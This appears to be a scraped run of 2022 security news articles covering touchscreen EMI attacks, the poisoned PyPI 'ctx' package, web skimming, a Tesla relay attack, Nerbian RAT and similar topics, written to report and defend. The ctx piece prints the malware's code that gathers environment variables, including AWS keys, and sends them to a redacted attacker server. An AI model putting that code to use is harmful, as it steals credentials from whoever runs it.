GhostTouch: how to remotely control touchscreens with EMI

Security researchers devised a technique, dubbed GhostTouch, to remotely control touchscreens using electromagnetic signals.

A team of researchers from Zhejiang University and Technical University of Darmstadt devised a technique, dubbed GhostTouch, to remotely control capacitive touchscreens using electromagnetic signals.

According to the experts, GhostTouch is the first active contactless attack against capacitive touchscreens.

GhostTouch uses electromagnetic interference (EMI) to remotely inject fake touch points into a capacitive device. The researchers demonstrated how to inject two types of basic touch events, taps and swipes, into targeted locations of the touchscreen. The events allowed the researchers to control the devices (i.e. answering an eavesdropping phone call, pressing the button, swiping up to unlock), the attack technique was successful on nine smartphone models.

“We can inject targeted taps continuously with a standard deviation of as low as 14.6 x 19.2 pixels from the target area, a delay of less than 0.5s and a distance of up to 40mm. We show the real-world impact of the GhostTouch attacks in a few proof-of-concept scenarios, including answering an eavesdropping phone call, pressing the button, swiping up to unlock, and entering a password.” reads the research paper published by the academics. “Finally, we discuss potential hardware and software countermeasures to mitigate the attack.”

The GhostTouch system consists of two components, a touch injector and a phone locator. The touch injector is used to inject touch events into the touchscreen and includes a signal generator, an amplifier, an on/off switch, and a receiving antenna array. The phone locator is used to identify the position of the touchscreen and consists of a sensing antenna array, a data acquisition device, and a location calculator.

The experimental lab setup up by the researchers is composed of an electrostatic gun used to generate a strong pulse signal which is sent to an antenna to transmit an electromagnetic field to the touchscreen.

Tak a look at

Take a look at a couple of video PoCs of attacks devised by the experts that show GhostTouch attack to answer the phone call and connect the malicious Bluetooth.

The experts tested the technique against nine different smartphone models, including Galaxy A10s, Huawei P30 Lite, Honor View 10, Galaxy S20 FE 5G, Nexus 5X, Redmi Note 9S, Nokia 7.2, Redmi 8, and an iPhone SE (2020).

“We demonstrate the feasibility of this attack in the real world.” concludes the paper. “In places like a cafe, library, meeting room, or conference lobbies, people might place their smartphone face-down on the table2. An attacker may embed the attack equipment under the table and launch attacks remotely. For example, an attacker may impersonate the victim to answer a phone call which would eavesdrop the private conversation, or visit a malicious website.”

The researchers provided a series of countermeasures to neutralize the attack, including adding electromagnetic shielding to block EMI, reinforcing the touchscreen, improving the detection algorithm of the touchscreen, and forcing some form of authentication for the execution of high-risk actions.

Remote Access Automated Monitoring And Control A Complete Guide

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CISA adds 41 flaws to its Known Exploited Vulnerabilities Catalog

US Critical Infrastructure Security Agency (CISA) adds 41 new vulnerabilities to its Known Exploited Vulnerabilities Catalog.

The Cybersecurity & Infrastructure Security Agency (CISA) has added 41 flaws to its Known Exploited Vulnerabilities Catalog, including recently addressed issues in the Android kernel (CVE-2021-1048 and 

) and Cisco IOS XR (CVE-2022-20821).

The Cisco IOS XR flaw (CVE-2022-20821, CVSS score: 6.5, is actively exploited in attacks in the wild, it resides in the health check RPM of Cisco IOS XR Software. An unauthenticated, remote attacker could trigger the issue to access the Redis instance that is running within the NOSi container.

According to Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities, FCEB agencies have to address the identified vulnerabilities by the due date to protect their networks against attacks exploiting the flaws in the catalog.

Experts recommend also private organizations review the Catalog and address the vulnerabilities in their infrastructure.

Other issues impact Google, Mozilla, Facebook, Adobe, and Webkit GTK software products, the vulnerabilities range from 2018 to 2021.

Some of the issues have to be addressed by federal agencies by June 13, 2022, while the others need to be fixed by June 14, 2022.

CYBERSECURITY AND INFRASTRUCTURE SECURITY AGENCY: Actions Needed to Ensure Organizational Changes Result in More Effective Cybersecurity for Our Nation

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Poisoned Python and PHP packages purloin passwords for AWS access

A keen-eyed researcher at SANS recently wrote about a new and rather specific sort of supply chain attack against open-source software modules in Python and PHP.

Following on-line discussions about a suspicious public Python module, Yee Ching Tok noted that a package called ctx in the popular PyPi repository had suddenly received an “update”, despite not otherwise being touched since late 2014.

In theory, of course, there’s nothing wrong with old packages suddenly coming back to life.

Sometimes, developers return to old projects when a lull in their regular schedule (or a guilt-provoking email from a long-standing user) finally gives them the impetus to apply some long-overdue bug fixes.

In other cases, new maintainers step up in good faith to revive “abandonware” projects.

But packages can become victims of secretive takeovers, where the password to the relevant account is hacked, stolen, reset or otherwise compromised, so that the package becomes a beachhead for a new wave of supply chain attacks.

Simply put, some package “revivals” are conducted entirely in bad faith, to give cybercriminals a vehicle for pushing out malware under the guise of “security updates” or “feature improvements”.

The attackers aren’t necessarily targeting any specific users of the package they compromise – often, they’re simply watching and waiting to see if anyone falls for their package bait-and-switch…

…at which point they have a way to target the users or companies that do.

New code, old version number

In this attack, Yee Ching Tok noticed that altough the package suddenly got updated, its version number didn’t change, presumably in the hope that some people might [a] take the new version anyway, perhaps even automatically, but [b] not bother to look for differences in the code.

But a diff (short for difference, where only new, changed or deleted lines in the code are examined) showed added lines of Python code like this:

if environ.get('AWS_ACCESS_KEY_ID') is not None:self.secret = environ.get('AWS_ACCESS_KEY_ID')

You may remember, from the infamous Log4Shell bug, that so-called environment variables, accessible via os.environ in Python, are memory-only key=value settings associated with a specific running program.

Data that’s presented to a program via a memory block doesn’t need to be written to disk, so this is a handy way of passing across secret data such as encryption keys while guarding against saving the data improperly by mistake.

However, if you can poison a running program, which will already have access to the memory-only process environment, you can read out the secrets for yourself and steal the, for example by sending them out buried in regular-looking network traffic.

If you leave the bulk of the source code you’re poisoning untouched, its usual functions will still work as before, and so the malevolent tweaks in the package are likely to go unnoticed.

Why now?

Apparently, the reason this package was attacked only recently is that the server name used for email by the original maintainer had just expired.

The attackers were therefore able to buy up the now-unused domain name, set up an email server of their own, and reset the password on the account.

Interestingly, the poisoned ctx package was soon updated twice more, with more added “secret sauce” squirrelled away in the infected code, this time including more aggressive data-stealing code.

The requests.get() line below connects to an external server controlled by the crooks, though we have redacted the domain name here:

def sendRequest(self):str = ""for _, v in environ.items():str += v + " " ### --encode string into base64 resp = requests.get("https://[REDACTED]/hacked/" + str)

The redacted exfiltration server will receive the encoded environment variables (including any stolen data such as access keys) as an innocent-looking string of random-looking data at the end of the URL.

The response that comes back doesn’t actually matter, because it’s the outgoing request, complete with appended secret data, that the attackers are after.

If you want to try this for yourself, you can create a standalone Python program based on the pseudocode above, such as this::

Then start a listening HTTP pseudoserver in a separate window (we used the excellent ncat utility from the Nmap toolkit, as seen below), and run the Python code.

Here, we’re in the Bash shell, and we have used env -i to strip down the environment variables to save space, and we’ve run the Python exfiltration script with a fake AWS environment variable set (the access key we chose is one of Amazon’s own deliberately non-functional examples used for documentation)

Full Stack Python Security: Cryptography, TLS, and attack resistance

Pro PHP Security: From Application Security Principles to the Implementation of XSS Defenses (Expert’s Voice in Open Source)

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Microsoft warns of new highly evasive web skimming campaigns

Threat actors behind web skimming campaigns are using malicious JavaScript to mimic Google Analytics and Meta Pixel scripts to avoid detection.

Microsoft security researchers recently observed web skimming campaigns that used multiple obfuscation techniques to avoid detection.

The threat actors obfuscated the skimming script by encoding it in PHP, which, in turn, was embedded in an image file, using this trick the code is executed when a website’s index page is loaded.

The experts also observed compromised web applications injected with malicious JavaScript masquerading as Google Analytics and Meta Pixel (formerly Facebook Pixel) scripts. Some skimming scripts also included anti-debugging mechanisms.

The term web skimming refers to the criminal practice to harvest payment information of visitors of a website during checkout. Crooks use to exploit vulnerabilities in e-commerce platforms and CMSs to inject the skimming script into the page of the e-store. In some cases, attackers can exploit vulnerabilities in installed third-party plugins and themes to inject malicious scripts.

web skimming attack-overview.png

“During our research, we came across two instances of malicious image files being uploaded to a Magento-hosted server. Both images contained a PHP script with a Base64-encoded JavaScript, and while they had identical JavaScript code, they slightly differed in their PHP implementation.” reads the analysis published by Microsoft. “The first image, disguised as a favicon (also known as a shortcut or URL icon), was available on VirusTotal, while the other one was a typical web image file discovered by our team.”

Microsoft also observed attackers masquerading as Google Analytics and Meta Pixel (formerly Facebook Pixel) scripts to avoid raising suspicion.

The attackers place a Base64-encoded string inside a spoofed Google Tag Manager code. This string decoded to 


web skimming attack-overview 2

Encoded skimming script in a spoofed Google Analytics code (Source Microsoft)

Experts noticed that the attackers behind the Meta Pixel spoofing used newly registered domains (NRDs) using HTTPS.

“Given the increasingly evasive tactics employed in skimming campaigns, organizations should ensure that their e-commerce platforms, CMSs, and installed plugins are up to date with the latest security patches and that they only download and use third-party plugins and services from trusted sources,” Microsoft concludes.

Web Scraping with Python: Collecting More Data from the Modern Web

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Many security engineers are already one foot out the door

Many security engineers are already one foot out the door. Why?

The position of security engineer has become a pivotal role for modern security teams. Practitioners are responsible for critical monitoring of networks and systems to identify threats or intrusions that could cause immense harm to an organization.

They must analyze troves of security-related data, detect immediate threats as early as possible on the cyber kill chain. From their vantage point, they are often best positioned to evaluate security monitoring solutions and recommend security operations improvement to management.

In this video for Help Net Security, Jack Naglieri, CEO of Panther Labs, discusses a recent report which found that 80% of security engineers are experiencing burnout.


Cybersecurity Career Master Plan: Proven techniques and effective tips to help you advance in your cybersecurity career

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Google OAuth client library flaw allowed to deploy of malicious payloads

Google addressed a high-severity flaw in its OAuth client library for Java that could allow attackers with a compromised token to deploy malicious payloads.

Google addressed a high-severity authentication bypass flaw in Google OAuth Client Library for Java, tracked as CVE-2021-22573 (CVS Score 8.7), that could be exploited by an attacker with a compromised token to deploy malicious payloads.

The Google OAuth Client Library for Java is designed to work with any OAuth service on the web, not just with Google APIs. The library is built on the Google HTTP Client Library for Java, and it supports Java 7 (or higher) standard (SE) and enterprise (EE), Android 4.0 (or higher), and Google App Engine.

The root cause of the issue is that the IDToken verifier does not verify if the token is properly signed. This means that an attacker can serve a malicious payload that doesn’t come from a trusted provider

“The vulnerability is that IDToken verifier does not verify if token is properly signed. Signature verification makes sure that the token’s payload comes from valid provider, not from someone else. An attacker can provide a compromised token with custom payload.” reads the description published by NIST. “The token will pass the validation on the client side. We recommend upgrading to version 1.33.3 or above”

The vulnerability was reported by the security researcher Tamjid Al Rahat on March 12, the issue was awarded $5,000 as part of the company bug bounty program. Google addressed the issue with the release of the version 1.33.3 in April.

Users of the Google OAuth Client Library for Java are recommended to upgrade to version 1.33.3 or later.

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Pwn2Own Vancouver 2022 D1: MS Teams exploits received $450,000

White hat hackers earned a total of $800,000 on the first day of the Pwn2Own Vancouver 2022, $450,000 for exploits targeting Microsoft Teams.

Pwn2Own Vancouver 2022 hacking contest has begun, it is the 15th edition of this important event organized by Trend Micro’s Zero Day Initiative (ZDI). This year, 17 contestants are attempting to exploit 21 targets across multiple categories.

During the first day of the event, white hat hackers earned a total of $800,000, a record for the first day of this contest, including $450,000 for successful exploits targeting Microsoft Teams.

All the attempts made during the first day were successful, the participants explored a total of 16 flaws affecting Microsoft Teams, Oracle VirtualBox, Firefox, Windows 11, Ubuntu, and Safari.

Pwn2Own Vancouver 2022

Below is the list of hacking attempts against Microsoft Teams:

  • SUCCESS – Hector “p3rr0” Peralta was able to demonstrate an improper configuration against Microsoft Teams. He earns $150,000 and 15 Master of Pwn points.
  • SUCCESS – Masato Kinugawa was able to execute a 3-bug chain of injection, misconfiguraton and sandbox escape against Microsoft Teams, earning $150,000 and 15 Master of Pwn points.
  • SUCCESS – Daniel Lim Wee Soong (@daniellimws, Poh Jia Hao (@Chocologicall), Li Jiantao (@CurseRed) & Ngo Wei Lin (@Creastery of STAR Labs successfully demonstrated their zero-click exploit of 2 bugs (injection and arbitrary file write) on Microsoft Teams. They earn $150,000 and 15 Master of Pwn points.

Manfred Paul (@_manfp) successfully demonstrated the exploitation of prototype pollution and improper input validation on Mozilla Firefox. Paul earned $100,000 and 10 Master of Pwn points.

Paul also exploited an out-of-band write issue on Apple Safari and earned $50,000 and 5 additional Master of Pwn points.

The remaining exploits received a $40,000.

Windows 11 hacked again at Pwn2Own, Telsa Model 3 also falls

Pwn2Own Vancouver 2022 – Keith Yeo vs Ubuntu Desktop

Pwn2Own Vancouver 2022 – Drawing for Order

Pwn2Own Vancouver 2022 – TUTELARY vs Ubuntu Desktop

Pwn2Own Vancouver 2022 – Synacktiv vs Tesla

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Microsoft warns of the rise of cryware targeting hot wallets

Microsoft researchers warn of the rising threat of cryware targeting non-custodial cryptocurrency wallets, also known as hot wallets.

Microsoft warns of the rise of cryware, malicious software used to steal info an dfunds from non-custodial cryptocurrency wallets, also known as hot wallets. Data stolen from this kind of malware includes private keys, seed phrases, and wallet addresses, that could be used by threat actors to initiate fraudulent transactions.

“Cryware are information stealers that collect and exfiltrate data directly from non-custodial cryptocurrency wallets, also known as hot wallets. Because hot wallets, unlike custodial wallets, are stored locally on a device and provide easier access to cryptographic keys needed to perform transactions, more and more threats are targeting them.” reads the post published by Microsoft.

The experts pointed out that the theft of cryptocurrency is irreversible, unlike credit cards and other financial transactions there is no mechanism to reverse fraudulent transactions.

This cryware is automating the scanning process for hot wallet data exposed online.

The increasing popularity of cryptocurrency is attracting cybercrime that is using different means to target the cryptocurrency industry. Below is a list of threats that are currently leveraging cryptocurrency:

  • Cryptojackers. One of the threat types that surfaced and thrived since the introduction of cryptocurrency, cryptojackers are mining malware that hijacks and consumes a target’s device resources for the former’s gain and without the latter’s knowledge or consent. Based on our threat data, we saw millions of cryptojacker encounters in the last year.
  • Ransomware. Some threat actors prefer cryptocurrency for ransom payments because it provides transaction anonymity, thus reducing the chances of being discovered.
  • Password and info stealers. Apart from sign-in credentials, system information, and keystrokes, many info stealers are now adding hot wallet data to the list of information they search for and exfiltrate.
  • ClipBanker trojans. Another type of info stealer, this malware checks the user’s clipboard and steals banking information or other sensitive data a user copies. ClipBanker trojans are also now expanding their monitoring to include cryptocurrency addresses.

Microsoft described the techniques used by crooks to steal hot wallet data, including clipping and switching, memory dumping, wallet file theft, phishing sites and fake applications, and keylogging.

Experts also warn of scams and other social engineering attacks that cybercriminals use to trick victims into sending funds to the attackers’ wallets.

Microsoft recommends users and organizations lock hot wallets when not actively trading, disconnect sites connected to the wallet, never store private keys in plaintext, ensure that browser sessions are terminated after every transaction, enable MFA for wallet authentication, double-check hot wallet transactions and approvals, use hardware wallets to store private keys offline.

Blockchain Security from the Bottom Up: Securing and Preventing Attacks on Cryptocurrencies, Decentralized Applications, NFTs, and Smart Contracts

The secret CIA Bitcoin project that became a trillion-dollar Trojan horse

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Weak Security Controls and Practices


Guide to Understanding Security Controls NIST SP-800 Rev 5

Security Controls Evaluation, Testing, and Assessment Handbook

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Hackers can steal your Tesla Model 3, Y using new Bluetooth attack

New Bluetooth attack lets hackers drive away with your Tesla

Security researchers at the NCC Group have developed a tool to carry out a Bluetooth Low Energy (BLE) relay attack that bypasses all existing protections to authenticate on target devices.

BLE technology is used in a wide spectrum of products, from electronics like laptops, mobile phones, smart locks, and building access control systems to cars like Tesla Model 3 and Model Y.

Pushing out fixes for this security problem is complicated, and even if the response is immediate and coordinated, it would still take a long time for the updates to trickle to impacted products.

How the attack works

In this type of relay attacks, an adversary intercepts and can manipulate the communication between two parties, such as the key fob that unlocks and operates the car and the vehicle itself.

This places the attacker in the middle of the two ends of the communication, allowing them to relay the signal as if they were standing right next to the car.

Products that rely on BLE for proximity-based authentication protect against known relay attack methods by introducing checks based on precise amounts of latency and also link-layer encryption.

NCC Group has developed a tool that operates at the link layer and with a latency of 8ms that is within the accepted 30ms range of the GATT (Generic ATTribute Profile) response.

“Since this relay attack operates at the link layer, it can forward encrypted link layer PDUs. It is also capable of detecting encrypted changes to connection parameters (such as connection interval, WinOffset, PHY mode, and channel map) and continuing to relay connections through parameter changes. Thus, neither link layer encryption nor encrypted connection parameter changes are defences against this type of relay attack.” – NCC Group

According to Sultan Qasim Khan, a senior security consultant at NCC Group, it takes about ten seconds to run the attack and it can be repeated endlessly.

Both the Tesla Model 3 and Model Y use a BLE-based entry system, so NCC’s attack could be used to unlock and start the cars.

While technical details behind this new BLE relay attack have not been published, the researchers say that they tested the method on a Tesla Model 3 from 2020 using an iPhone 13 mini running version 4.6.1-891 of the Tesla app.

“NCC Group was able to use this newly developed relay attack tool to unlock and operate the vehicle while the iPhone was outside the BLE range of the vehicle” – NCC Group

During the experiment, they were able to deliver to the car the communication from the iPhone via two relay devices, one placed seven meters away from the phone, the other sitting three meters from the car. The distance between the phone and the car was 25 meters.

The experiment was also replicated successfully on a Tesla Model Y from 2021, since it uses similar technologies. Below is a demonstration of the attack:

These findings were reported to Tesla on April 21st. A week later, the company responded by saying “that relay attacks are a known limitation of the passive entry system.”

The researchers also notified Spectrum Brands, the parent company behind Kwikset (makers of the Kevo line of smart locks).

What can be done

NCC Group’s research on this new proximity attack is available in three separate advisories, for BLE in general, one for Tesla cars, and another for Kwikset/Weiser smart locks, each illustrating the issue on the tested devices and how it affects a larger set of products from other vendors.

The Bluetooth Core Specification warns device makers about relay attacks and notes that proximity-based authentication shouldn’t be used for valuable assets.

This leaves users with few possibilities, one being to disable it, if possible, and switch to an alternative authentication method that requires user interaction.

Another solution would be for makers to adopt a distance bounding solution such as UWB (ultra-wideband) radio technology instead of Bluetooth.

Tesla owners are encouraged to use the ‘PIN to Drive’ feature, so even if their car is unlocked, at least the attacker won’t be able to drive away with it.

Additionally, disabling the passive entry functionality in the mobile app when the phone is stationary would make the relay attack impossible to carry out.

If none of the above is possible on your device, keep in mind the possibility of relay attacks and implement additional protection measures accordingly.

Bluetooth Security Attacks: Comparative Analysis, Attacks, and Countermeasures

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The 5 most common types of phishing attack

Phishing is among the biggest cyber threats facing organisations. According to Proofpoint’s 2021 State of the Phish Report, more than 80% of organisations fell victim to a phishing attack last year.

One of the most frustrating things about this is that most people know what phishing is and how it works, but many still get caught out.

The growing sophisticated of phishing scams has contributed to that. They might still have the same objective – to steal our personal data or infect our devices – but there are now countless ways to do that.

In this blog, we look at five of the most common types of phishing email to help you spot the signs of a scam.

1. Email phishing

Most phishing attacks are sent by email. The crook will register a fake domain that mimics a genuine organisation and sends thousands of generic requests. 

The fake domain often involves character substitution, like using ‘r’ and ‘n’ next to each other to create ‘rn’ instead of ‘m’. 

In other cases, the fraudsters create a unique domain that includes the legitimate organisation’s name in the URL. The example below is sent from ‘’.

The recipient might see the word ‘Amazon’ in the sender’s address and assume that it was a genuine email.

There are many ways to spot a phishing email, but as a general rule, you should always check the email address of a message that asks you to click a link or download an attachment. 

2. Spear phishing

There are two other, more sophisticated, types of phishing involving email.

The first, spear phishing, describes malicious emails sent to a specific person. Criminals who do this will already have some or all of the following information about the victim:

  • Their name; 
  • Place of employment; 
  • Job title; 
  • Email address; and 
  • Specific information about their job role.

You can see in the example below how much more convincing spear phishing emails are compared to standard scams.

The fraudster has the wherewithal to address the individual by name and (presumably) knows that their job role involves making bank transfers on behalf of the company.

The informality of the email also suggests that the sender is a native English speaker, and creates the sense that this is a real message rather than a template.

3. Whaling

Whaling attacks are even more targeted, taking aim at senior executives. Although the end goal of whaling is the same as any other kind of phishing attack, the technique tends to be a lot subtler. 

Tricks such as fake links and malicious URLs aren’t helpful in this instance, as criminals are attempting to imitate senior staff. 

Whaling emails also commonly use the pretext of a busy CEO who wants an employee to do them a favour.

Emails such as the above might not be as sophisticated as spear phishing emails, but they play on employees’ willingness to follow instructions from their boss. Recipients might suspect that something is amiss but are too afraid to confront the sender to suggest that they are being unprofessional.

4. Smishing and vishing

With both smishing and vishing, telephones replace emails as the method of communication.

Smishing involves criminals sending text messages (the content of which is much the same as with email phishing), and vishing involves a telephone conversation.

One of the most common smishing pretexts are messages supposedly from your bank alerting you to suspicious activity.

In this example, the message suggests that you have been the victim of fraud and tells you to follow a link to prevent further damage. However, the link directs the recipient to a website controlled by the fraudster and designed to capture your banking details.

5. Angler phishing

A relatively new attack vector, social media offers several ways for criminals to trick people. Fake URLs; cloned websites, posts, and tweets; and instant messaging (which is essentially the same as smishing) can all be used to persuade people to divulge sensitive information or download malware. 

Alternatively, criminals can use the data that people willingly post on social media to create highly targeted attacks.

As this example demonstrates, angler phishing is often made possible due to the number of people containing organisations directly on social media with complaints.

Organisations often use these as an opportunity to mitigate the damage – usually by giving the individual a refund.

However, scammers are adept at hijacking responses and asking the customer to provide their personal details. They are seemingly doing this to facilitate some form of compensation, but it is instead done to compromise their accounts.

Your employees are your last line of defence

Organisations can mitigate the risk of phishing with technological means, such as spam filters, but these have consistently proven to be unreliable. 

Phishing Staff Awareness Course

Malicious emails will still get through regularly, and when that happens, the only thing preventing your organisation from a breach is your employees’ ability to detect their fraudulent nature and respond appropriately. 

Our Phishing Staff Awareness Course helps employees do just that, as well as explaining what happens when people fall victim and how they can mitigate the threat of an attack.

The Science of Human Hacking

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Experts show how to run malware on chips of a turned-off iPhone

Researchers devised an attack technique to tamper the firmware and execute a malware onto a Bluetooth chip when an iPhone is “off.”

A team of researchers from the Secure Mobile Networking Lab (SEEMOO) at the Technical University of Darmstadt demonstrated a technique to tamper with the firmware and load malware onto a chip while an iPhone is “OFF.”

Experts pointed out that when an iPhone is turned off, most wireless chips (Bluetooth, Near Field Communication (NFC), and Ultra-wideband (UWB)) continue to operate.

The Bluetooth and UWB chips are hardwired to the Secure Element (SE) in the NFC chip, storing secrets that should be available in LPM,” the researchers said.

The Low-Power Mode was implements with iOS 15, it is supported by iPhone 11, iPhone 12, and iPhone 13 devices.

Many users are not aware of these features, even if they are aware that their iPhone remains locable even when the device was turned off.

iphone malware attack

The experts mentioned the case of a user-initiated shutdown during which the iPhone remains locatable via the Find My network.

The researchers focused their analysis on how Apple implements standalone wireless features while the iOS is not running, they also discovered that the wireless chips have direct access to the secure element.

“LPM [Low Power Mode] support is implemented in hardware. The Power Management Unit (PMU) can turn on chips individually. The Bluetooth and UWB chips are hardwired to the Secure Element (SE) in the NFC chip, storing secrets that should be available in LPM. Since LPM support is implemented in hardware, it cannot be removed by changing software components.” reads the paper published by the researchers. “As a result, on modern iPhones, wireless chips can no longer be trusted to be turned off after shutdown. This poses a new threat model. Previous work only considered that journalists are not safe against espionage when enabling airplane mode in case their smartphones were compromised”

The experts explained that a threat actor has different options to tamper with firmware, which depend on their preconditions. Unlike NFC and UWB chips, the Bluetooth firmware is neither signed nor encrypted opening the doors to modification.

An attacker with privileged access can exploit this bug to develop a malware that can run on an iPhone Bluetooth chip even when it is off.

“The current LPM implementation on Apple iPhones is opaque and adds new threats. Since LPM support is based on the iPhone’s hardware, it cannot be removed with system updates. Thus, it has a long-lasting effect on the overall iOS security model.” concludes the paper. “To the best of our knowledge, we are the first who looked into undocumented LPM features introduced in iOS 15 and uncover various issues. Design of LPM features seems to be mostly driven by functionality, without considering threats outside of the intended applications. Find My after power off turns shutdown iPhones into tracking devices by design, and the implementation within the Bluetooth firmware is not secured against manipulation. Tracking properties could stealthily be changed by attackers with system-level access.”

The researchers will present the results of their study at the ACM Conference on Security and Privacy in Wireless and Mobile Networks (WiSec 2022).

An In-Depth Guide to Mobile Device Forensics

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Undetectable Backdoors in Machine-Learning Models

Machine-learning models vulnerable to undetectable backdoors • The Register

New paper: “Planting Undetectable Backdoors in Machine Learning Models“:

Abstract: Given the computational cost and technical expertise required to train machine learning models, users may delegate the task of learning to a service provider. We show how a malicious learner can plant an undetectable backdoor into a classifier. On the surface, such a backdoored classifier behaves normally, but in reality, the learner maintains a mechanism for changing the classification of any input, with only a slight perturbation. Importantly, without the appropriate “backdoor key”, the mechanism is hidden and cannot be detected by any computationally-bounded observer. We demonstrate two frameworks for planting undetectable backdoors, with incomparable guarantees.

First, we show how to plant a backdoor in any model, using digital signature schemes. The construction guarantees that given black-box access to the original model and the backdoored version, it is computationally infeasible to find even a single input where they differ. This property implies that the backdoored model has generalization error comparable with the original model. Second, we demonstrate how to insert undetectable backdoors in models trained using the Random Fourier Features (RFF) learning paradigm or in Random ReLU networks. In this construction, undetectability holds against powerful white-box distinguishers: given a complete description of the network and the training data, no efficient distinguisher can guess whether the model is “clean” or contains a backdoor.

Our construction of undetectable backdoors also sheds light on the related issue of robustness to adversarial examples. In particular, our construction can produce a classifier that is indistinguishable from an “adversarially robust” classifier, but where every input has an adversarial example! In summary, the existence of undetectable backdoors represent a significant theoretical roadblock to certifying adversarial robustness.

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He sold cracked passwords for a living – now he’s serving 4 years in prison

In this article, it turns out to be the first name (in Latin script, anyway) of a convicted cybercriminal called Glib Oleksandr Ivanov-Tolpintsev.

Originally from Ukraine, Tolpintsev, who is now 28, was arrested in Poland late in 2020.

He was extradited to the US the following year, first appearing in a Florida court on 07 September 2021, charged with “trafficking in unauthorized access devices, and trafficking in computer passwords.”

In plain English, Tolpintsev was accused of operating what’s known as a botnet (short for robot network), which refers to a collection of other people’s computers that a cybercriminal can control remotely at will.

A botnet acts as a network of zombie computers ready to download instructions and carry them out without the permission, or even the knowledge, of their legitimate owners.

Tolpintsev was also accused of using that botnet to crack passwords that he then sold on the dark web.

What to do?

Tolpintsev’s ill-gotten gains, at just over $80,000, may sound modest compared to the multi-million dollar ransoms demanded by some ransomware criminals.

But the figure of $82,648 is just what the DOJ was able to show he’d earned from his online password sales, and ransomware criminals were probably amongst his customers anyway.

So, don’t forget the following:

  • Pick proper passwords. For accounts that require a conventional username and password, choose wisely, or get a password manager to do it for you. Most password crackers use password lists that put the most likely and the easiest-to-type passwords at the top. These list generators use a variety of password construction rules in an effort to generate human-like “random” choices such as jemima-1985 (name and year of birth) ahead of passwords that a computer might have selected, such as dexndb-8793. Stolen password hashes that were stored with a slow-to-test algorithm such as PBKDF2 or bcrypt can slow an attacker down to trying just a few passwords a second, even with a large botnet of cracking computers. But if your password is one of the first few that gets tried, you’ll be one of the first few to get compromised.
  • Use 2FA if you can. 2FA, short for two-factor authentication, usually requires you to provide a one-time code when you login, as well as your password. The code is typically generated by an app on your phone, or sent in a text message, and is different every time. Other forms of 2FA include biometric, for example requiring you to scan a fingerprint, or cryptographic, such as requiring you to sign a random message with a private cryptographic key (a key that might be securely stored in a USB device or a smartcard, itself protected by a PIN). 2FA doen’t eliminate the risk of crooks breaking into your network, but it makes individual cracked or stolen passwords much less useful on their own.
  • Never re-use passwords. A good password manager will not only generated wacky, random passwords for you, it will prevent you from using the same password twice. Remember that the crooks don’t have to crack your Windows password or your FileVault password if it’s the same as (or similar to) the password you used on your local sports club website that just got hacked-and-cracked.
  • Never ignore malware, even on computers you don’t care about yourself. This story is a clear reminder that, when it comes to malware, an injury to one really is an injury to all. As Glib Oleksandr Ivanov-Tolpintsev showed, not all cybercriminals will use zombie malware on your computer directly against you – instead, they use your infected computer to help them attack other people.

The Darkest Web

The Darkest Web (Allison Barton Book 2) by [Kristin Wright]

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New Nerbian RAT spreads via malspam campaigns using COVID-19

Researchers spotted a new remote access trojan, named Nerbian RAT, which implements sophisticated evasion and anti-analysis techniques.

Researchers from Proofpoint discovered a new remote access trojan called Nerbian RAT that implements sophisticated anti-analysis and anti-reversing capabilities.

The malware spreads via malspam campaigns using COVID-19 and World Health Organization (WHO) themes. The name of the RAT comes from a named function in the source code of the malware, Nerbia is a fictional place from the novel Don Quixote

WHO nerbian RAT

he Nerbian RAT is written in Go programming language, compiled for 64-bit systems, to make the malware multiplatform.

The malspam campaign spotted by Proofpoint started on April 26 and targeted multiple industries.

“Starting on April 26, 2022, Proofpoint researchers observed a low volume (less than 100 messages) email-borne malware campaign sent to multiple industries. The threat disproportionately impacts entities in Italy, Spain, and the United Kingdom.” reads the analysis published by Proofpoint “The emails claimed to be representing the World Health Organization (WHO) with important information regarding COVID-19.” 

he emails contain a weaponized Word attachment, which is sometimes compressed with RAR. Upon enabling the macros, the document provided reveals information relating to COVID-19 safety, specifically about measures for self-isolation of infected individuals.

The document contains logos from the Health Service Executive (HSE), Government of Ireland, and National Council for the Blind of Ireland (NCBI).

Once opened the document and enabled the macro, a bat file executes a PowerShell acting as downloader for a Goland 64-bit dropper named “UpdateUAV.exe”.

The UpdateUAV executable is a dropper for the Nerbian RAT and borrows the code from various GitHub projects.

The Nerbian RAT supports a variety of different functions, such as logging keystrokes and capturing images of the screen, and handle communications over SSL.

“Proofpoint assesses with high confidence that the dropper and RAT were both created by the same entity, and while the dropper may be modified to deliver different payloads in the future, the dropper is statically configured to download and establish persistence for this specific payload at the time of analysis.” concludes the report that includes indicators of compromise (IoCs).

malspam – spam email that delivers malware

Anti-spam and Email Security

User’s Guide to Securing External Devices for Telework and Remote Access

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Putting PCI-DSS in Perspective

Putting PCI-DSS in Perspective

Much attention and excitement within the security world has recently been focused on the lucrative surge in crypto-mining malware and hacks involving or targeting cryptocurrency implementations themselves. Yet the volume of ‘real world’ transactions for tangible goods and services currently paid for with cryptocurrency is still relatively niche in comparison to those that are being paid for every minute of the day with the pieces of plastic we know as payment cards.

According to the British Retail Consortium, in the UK, card payments overtook cash for the first time ever last year. An upward trend assisted no doubt by the increasingly ubiquitous convenience of contactless micropayments. No coincidence either perhaps that contactless related card fraud in the UK also overtook cheque-based fraud in the first half of 2017.

For the foreseeable future, card payment channels are likely to present a continued risk to both businesses and individuals for the exact same reason that bank robber Willie Hutton gave us in the last century for his chosen means of income. In today’s digital economy, however, agile cyber criminals will not only ‘go’ as Mr. Hutton suggested “where the money is” but will swiftly adapt and evolve their tactics to ‘go where the insecurity is.’ Hence, whilst according to a range of sources EMV chip cards have cut counterfeit fraud at ‘point of sale’ (POS) in the UK by approximately a third since the technology was introduced and similar improvements are now being cited for its more recent adoption in the US, a marked and plausibly corresponding uptake in online ‘card not present’ (CNP) fraud continues to rise.

The Payment Card Industry Data Security Standard (PCI-DSS) has formally existed since 2004 to help reduce the risk of card fraud through the adoption and continued application of a recognized set of base level security measures. Whilst many people have heard of and will often reference PCI-DSS, the standard isn’t always as well understood, interpreted, or even applied as best it could be. A situation not entirely helped by the amount of myths, half-truths, and outright FUD surrounding it.

The PCI Security Standards Council website holds a wealth of definitive and authoritative documentation. I would advise anyone seeking either basic or detailed information regarding PCI-DSS to start by looking to that as their first port of call. In this blog, however, I would simply like to call out and discuss a few common misconceptions.


